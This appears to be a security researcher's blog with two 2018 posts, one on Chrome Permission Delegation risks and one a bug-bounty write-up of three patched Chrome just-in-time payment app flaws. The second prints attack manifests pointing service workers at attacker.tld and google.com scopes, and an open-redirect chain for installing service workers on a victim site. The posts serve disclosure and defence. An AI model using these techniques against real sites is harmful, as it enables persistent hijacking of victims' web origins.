2018年9月10日月曜日

What Permission Delegation changes in Web Security

There is a plan to ship Permission Delegation in Chrome 71. So I will try to summarize what would change in Web Security.

Reasons of why this is happening are explained in this doc so I will skip that part.
If Chrome 71 ships Permission Delegation by default, following is what happens.


Before Permission Delegation



After Permission Delegation

Basically, all permission prompt from cross-origin iframes will also have top-level origin. Of course, most of strong permissions can be requested from cross-origin iframes only if allow attribute is present (<iframe src="https://other.tld" allow="geolocation">) or explicitly allowed by Feature Policy response header (Feature-Policy: geolocation https://other.tld;).

So what would Permission Delegation change in Web Security? Let's say you have HTML injection in some site, but you can't turn that into XSS for whatever reason (e.g. CSP, XSS Auditor, etc). You can now frame your site with allow attribute and inherit permissions from top-level website (or request permission to users with origin of top-level website).

To protect a website against this permission inheritance issue, you should:

  • Set appropriate Feature Policy response header in all of responses
Or
  • Set CSP response header with appropriate frame-src directive in all of responses
These solution will not solve an issue where https://trusted.tld intentionally frames https://other.tld with allow attribute and https://other.tld has XSS in other pages. Permissions given to https://trusted.tld  are automatically inherited to https://other.tld frame, thus XSS can access that frame through DOM and abuse inherited permissions.

Let me know if something needs clarification 🙂

2018年9月8日土曜日

Abusing just-in-time payment app in Chrome

While I was reading about Payment Handler API, I came across one sentence.
Chrome also supports a non-standard feature we call just-in-time (JIT) installation
Alright, smells like a bug. So I quickly checked how it works, which can be found here. First, Payment Handler API allows payment provider to handle payment request sent to them (with API based on Service Worker). And what is JIT installation of payment app? I won't explain everything, but here's what happens.
When Payment Request is called with unsupported method, say:
new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });
Chrome will fetch a URL specified in supportedMethods (e.g. https://example.com/pay/). Fetched page needs to respond with following response header pointing to Payment Method Manifest.
Link: <https://example.com/pay/payment-manifest.json>; rel="payment-method-manifest"
Now, Chrome will fetch Payment Method Manifest previously specified. Which looks like following.
{ "default_applications": ["https://example.com/pay/web-app-manifest.json"], "supported_origins": ["https://example.com"] }
Next up, Chrome will fetch Web App Manifest previously specified. Which looks like following.
{
  "name": "Pay with Example",
  ....
  "serviceworker": {
    "src": "service-worker.js",
    "scope": "https://example.com/pay/"
  },
  ...
}
Chrome will register Service Worker with JavaScript file pointed in "src" value with scope of "scope" value. Though, there *was* one condition in JIT installation that user has to click on "Pay" button.


Luckily, "Pay" button has default focus, so we could ask victim to hold enter key for 3 seconds and we could trigger JIT installation.
Have you noticed something in the image? Payment app seems to be from www.google.com. What happened? It turns out that you could specify arbitrary "scope" in Web App Manifest with Service Worker script from your site, and it'd happily register payment app with any scope 😀
{
  "name": "Pay to Attacker",
  ....
  "serviceworker": {
    "src": "https://attacker.tld/service-worker.js",
    "scope": "https://www.google.com/"
  },
  ...
}
Though, it behaved weirdly because Service Worker still had origin of attacker's site event though it was registered with Google's scope. I could't intercept navigation/payment request, but I could use some APIs like Console API, which logged arbitrary message whenever user goes to google.com's console.

This bug was really close to UXSS but I couldn't make it (I should've tried with Data URL script). Anyways, this bug was internally fixed in 2 days after report and JIT installation was disabled for Chrome 68 before the release ($5K).

Another thing I noticed was, you don't actually need script execution in victim's site to trigger JIT installation. Let's say, attacker has following script in his/her site.
new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });
Chrome would fetch unsupported method which respond with following response header.
Link: <https://attacker.tld/payment-manifest.json>; rel="payment-method-manifest"
Chrome fetches Payment Method Manifest as follows.
{ "default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"], "supported_origins": "*"  }
Now, Chrome fetches Web App Manifest from victim's site. This Web App Manifest can respond with any Content-Type, Content-Disposition, etc. Some of you maybe thinking, "Cross-origin No-CORS request to a JSON file? Isn't this supposed to be blocked by CORB?". You are right. Response should be blocked if this request happens from renderer process. But this request is sent by browser process, thus not in scope of CORB (though, Chrome needs to make sure that response is not leaked to renderer process).

Anyways, Chrome would continue and fetches Web App Manifest specified above. Which is following.
{
  "name": "Pay to Attacker",
  ....
  "serviceworker": {
    "src": "https://victim.tld/user-upload/service-worker.js",
    "scope": "https://victim.tld/user-upload/"
  },
  ...
}
Service Worker script needs to be Javascript Content-Type, but Content-Disposition etc doesn't matter.
In summary, If you have ability to upload some files to victim's site, you could install Service Worker without having script execution in victim's site (which is an eternal XSS). Of course this is a bug, so I reported it and fixed in 3 weeks ($3K).

So, first bug was fixed by checking that Web App Manifest, Service Worker script, and Scope URL are same-origin and second bug was fixed by checking that Payment Method Manifest and payment app are a same-site. Let's hack this 😆

Attacker's site calls:
new PaymentRequest([{ supportedMethods: 'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });
Chrome fetches unsupported method which redirects to attacker's site, which respond with following response header.
Link: <https://victim.tld/user-upload/payment-manifest.json>; rel="payment-method-manifest"
And rest are the same. We just needed to upload another file to victim's site (the Payment Method Manifest), and hope that victim's site has open redirect in anywhere same-site to file uploaded origin. This passes all security checks, yet having Service Worker installation in victim's site without script execution. This was also fixed in 2 days after my report ($3133.7).

And finally, JIT payment app is available in Chrome 69.

[Update 03/26/2019]: Following Same-Site installation is now patched!
https://chromium.googlesource.com/chromium/src/+/3d9cdcca87fe1dff950c8daa61c1675688d11dfb

So what's possible now? You could still install Service Worker within same-site if:
  1. You can control response header to respond with arbitrary Link header
  2. You can upload JS file and JSON-looking file within same-site to where you control the response header
I think control over response header is difficult to achieve so current mitigation is good enough (though, maybe this is a new way to abuse subdomain takeover?). And we no longer require victim to hold enter key. Chrome will happily accept click or keypress as a user consent.

Here is a PoC for same-site Service Worker installation.

Special thanks to @agektmr and @fugueish for the swift response on my inquires around JIT installation.

I'm hoping to do another post this month. Stay tuned 🙂